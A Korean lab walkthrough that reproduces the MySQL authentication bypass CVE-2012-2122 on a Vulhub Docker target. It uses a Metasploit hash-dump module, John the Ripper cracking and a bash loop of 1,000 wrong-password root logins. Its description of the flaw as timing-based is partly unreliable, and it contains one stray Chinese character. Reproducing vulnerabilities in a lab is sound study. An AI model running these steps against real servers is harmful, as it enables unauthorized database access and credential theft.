MySQL 인증 우회 취약점(CVE-2012-2122) 재현 및 분석

취약 환경 구성

공격 테스트를 위해 Vulhub 기반의 취약한 MySQL 환경을 도커를 통해 구축한다. 대상 시스템의 IP 주소는 192.168.100.40로 가정한다.

cd /vulhub/mysql/CVE-2012-2122
docker-compose up -d

Metasploit을 이용한 해시 추출

Metasploit 프레임워크를 실행한 후, 해당 CVE를 대상으로 하는 인증 우회 모듈을 사용하여 사용자 크리덴셜 해시를 추출할 수 있다.

msfconsole
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
set RHOSTS 192.168.100.40
set THREADS 100
run

성공적으로 수행되면, MySQL 계정의 패스워드 해시가 로컬 시스템에 저장된다. 기본 저장 경로는 다음과 같다.

cat ~/.msf4/loot/*mysql.hashes*

해시 값 복호화

추출된 해시는 MySQL 고유의 old_password() 또는 password() 함수로 생성된 것으로, 일반적인 크랙 툴인 John the Ripper 또는 hashcat을 활용해 평문으로 변환 가능하다.

john hashes.txt --format=mysql

무차별 연결 시도를 통한 인증 우회

CVE-2012-2122는 MySQL 서버의认증 처리 과정에서 발생하는 타이밍 기반 결함으로, 인증 실패 시에도 일부 경우 세션이 정상적으로 수락되는 현상을 악용한다. 이를 이용해 잘못된 비밀번호로 반복 접속 시 실제 인증 없이 root 권한으로 접근할 수 있다.

접속 방법 1: 직접 로그인 시도

mysql -h 192.168.100.40 -u root -p

접속 방법 2: 반복 시도를 통한 우회

다음 스크립트는 약 1000번의 연결 요청을 보내며, 타이밍 결함을 유발하여 인증을 우회하는 전략이다.

for i in $(seq 1 1000); do
    mysql -u root -P 3306 --password=wrongpass -h 192.168.100.40 2>/dev/null
done

명령어 설명:

  • seq 1 1000: 1부터 1000까지의 정수를 생성한다.
  • mysql -u root --password=wrongpass: 존재하지 않는 비밀번호로 root 계정에 접속 시도한다. 보안상 매우 위험한 방식이며, 실환경에서는 절대 사용해서는 안 된다.
  • 2>/dev/null: 오류 메시지를 억제하여 출력을 간소화한다. 성공 시 쉘 프롬프트 또는 데이터베이스 응답이 나타난다.

주의사항

본 취약점은 MySQL 5.1.x, 5.5.x 버전에서 x86 아키텍처 기반 시스템에서 더 높은 확률로 발생하며, 네트워크 지연이나 패킷 손실이 적은 로컬 환경에서 재현이 용이하다. 또한, 공격 코드 내에 비밀번호를 명시하는 것은 엄격히 피해야 하며, 자동화 스크립트는 테스트 환경 외에서 사용 금지다.

태그: MySQL CVE-2012-2122 authentication bypass Metasploit Vulhub

7월 15일 16:41에 게시됨